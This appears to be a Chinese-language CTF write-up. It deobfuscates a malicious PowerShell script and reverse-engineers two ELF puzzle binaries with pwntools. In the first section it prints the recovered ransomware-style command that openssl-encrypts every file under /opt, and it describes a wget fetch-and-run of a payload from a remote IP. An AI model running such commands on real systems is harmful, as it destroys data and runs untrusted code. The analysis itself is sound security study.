bash.ps1
powershell脚本,变量名和函数名有混淆,去除混淆后查看:
1 | function Func |
发现这些函数的作用:
顺序 | 函数 | 功能 |
---|---|---|
1 | b | 检查运行环境(必须是 Ubuntu Noble,MAC 地址匹配) |
2 | d | 提取系统信息生成字符集,用于后续拼接 |
3 | a | 下载远程 payload |
4 | c | 执行 payload |
5 | e | 删除下载的 payload 文件 |
尝试恢复下载地址,直接执行cat /etc/*release*
,发现返回值有17行:
1 | DISTRIB_ID=Ubuntu |
而题目所给函数恰好也为0~16的索引:
1 | function Funcd |
编写脚本提取字符集:
1 | def funcd_offline(): |
得到字符集DISTRB_=UbuntELACONMolePY"VKdiaHhps:/w.cmGgr-vy0123456789
,排序后尝试恢复funca中的wget指令:
1 | glba = 'DISTRB_=UbuntELACONMolePY"VKdiaHhps:/w.cmGgr-vy0123456789' |
得到返回结果:/18438-21821:/-//39key
和 A
,发现貌似有些错位,再恢复一下func中的字符串作对照:
1 | glba = 'DISTRB_=UbuntELACONMolePY"VKdiaHhps:/w.cmGgr-vy0123456789' |
输出:
1 | find 9opt9 7type f | openssl enc 7aes7.127cbc 7pass file:key 7in $glbf 7out $glbf |
发现确实存在轻微错位的现象,主要集中在数字和符号部分,字母未收到影响,打印排序后的字符串得到:"-./0123456789:=ABCDEGHIKLMNOPRSTUVY_abcdeghilmnoprstuvwy
,微调字符集,发现0~9要移到开头,得到正确的地址:35.87.165.65:31337/key
,下载后查看内容:
1 | I understand that, without my agreement, Alpine F1 have put out a press release late this afternoon that I am driving for them next year. This is wrong and I have not signed a contract with Alpine for 2023. I will not be driving for Alpine next year. |
而原来的命令是:
1 | find /opt/ -type f | openssl enc -aes-256-cbc -pass file:key -in $glbf -out $glbf |
对文件进行解密openssl enc -d -aes-256-cbc -pass file:A -in enc -out dec
得到flag:dam{unattended_arch_boxes_will_be_given_powershell}.
Is it data or data?
先查看init_array:
1 | .init_array:0000000000005A68 ; ELF Initialization Function Table |
发现有一个初始化函数:
1 | int init() |
里面初始化了一个密钥obj
:inagalaxyfarfaraway
,接下来查看main:
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
发现是一个死循环,func1和2均在等待满足某个条件,查看第一个函数:
1 | __int64 func1() |
发现只有idx为7时才触发,说明从第八步时执行,查看第二个函数:
1 | __int64 func2() |
发现是一个输入逻辑分发函数,先初始化了两个量,打印“>”后读取输入,将其转换为整数,按4、5、6、7、9、10、11、13、15和00111111分配不同作用的函数,其中00111111是查看当前产生的字节,发现有:
输入值/控制函数 | 作用 |
---|---|
4 | 写入字符“f” |
5 | 对最后一个字符-1 |
6 | 对最后一个字符+3 |
7 | 写入字符“a” |
9 | 写入字符“z” |
10 | 写入字符“m” |
11 | 将最后一个字符改为“t” |
13 | 删除最后一个字符 |
15 | 写入字符“r” |
第8步(func1) | 写入字符“g” |
由于要构造的字符串为inagalaxyfarfaraway
,所以应该输入的trace为:
步骤 | 字节码 | 结果 |
---|---|---|
1 | 4 | f |
2 | 6 | i |
3 | 10 | im |
4 | 6 | ip |
5 | 5 | io |
6 | 5 | in |
7 | 7 | ina |
8 | func1 | inag |
9 | 7 | inaga |
10 | 10 | inagam |
11 | 5 | inagal |
12 | 7 | inagala |
13 | 9 | inagalaz |
14 | 5 | inagalay |
15 | 5 | inagalax |
16 | 9 | inagalaxz |
17 | 5 | inagalaxy |
18 | 4 | inagalaxyf |
19 | 7 | inagalaxyfa |
20 | 15 | inagalaxyfar |
21 | 4 | inagalaxyfarf |
22 | 7 | inagalaxyfarfa |
23 | 15 | inagalaxyfarfar |
24 | 7 | inagalaxyfarfara |
25 | 15 | inagalaxyfarfarar |
26 | 6 | inagalaxyfarfarau |
27 | 6 | inagalaxyfarfarax |
28 | 5 | inagalaxyfarfaraw |
29 | 7 | inagalaxyfarfarawa |
30 | 9 | inagalaxyfarfarawaz |
31 | 5 | inagalaxyfarfaraway |
综上,编写pwntools脚本和服务器交互:
1 | from pwn import * |
flag:dam{I_dont_like_silicon_it_makes_cpus_and_theyre_everywhere}.
It’s data, not data.
和上一题差不多,查看init:
1 | int init() |
这次要构造的输入是episode3,57min34sec
,查看main:
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
func1应该是某种初始化,运行程序进行测试:
1 | Move Number: 1 of 100 |
发现第一次输入的内容会按某种方式生成一个看似随机的字符串,之后需要在这个字符串上做修改,查看func1:
1 | unsigned __int64 func1() |
发现func1是需要用户提供随机数种子,然后用mt19937算法变体生成一个19字节的随机字符串,编写脚本提取0~20万的返回值,评估出最优字符串:
1 | from pwn import * |
评估:
1 | import glob |
得到最佳初始str:
Best Seed: 47863, Best Current String: sg^bsdf+"*7~yZ4>{ac, Best Score: 161
calls函数负责打印出现的面板:
call1: 打印当前步数和最大步数
call2: 打印目标字符串
call3: 打印当前字符串
call4: 打印下面的横线和提示符 >
接下来查看每个字节码的作用:
输入值 | 作用 |
---|---|
2 | 对当前字节增加3~5的随机整数 |
3 | 对当前字节减去1~3随机整数 |
7 | 修改索引为7的字节为7 |
8 | 将当前字节与其后第二个字节交换 |
9 | 将当前字节与其前第一个字节交换 |
15 | 将当前字符改为“G” |
19 | 将当前字符改为“c” |
22 | 将当前字符改为“;” |
24 | 将当前字符改为“q” |
57 | 将当前字符改为“W” |
发现没有提供可以改变当前字节指向位置的函数,其始终指向19个字节的最中间的字节,查找xref后发现有两个函数可以改变cursor的位置,这些函数在getinput中被调用但是无法显式查看,猜测是某种异常处理机制,查看汇编后发现,如果输入内容是l
就可以实现指针左移,是r
就可以实现右移,并且不消耗步数,接下来构造自动化payload:
1 | import re |
flag:dam{git_branch_origin._you_are_a_pulled_one}.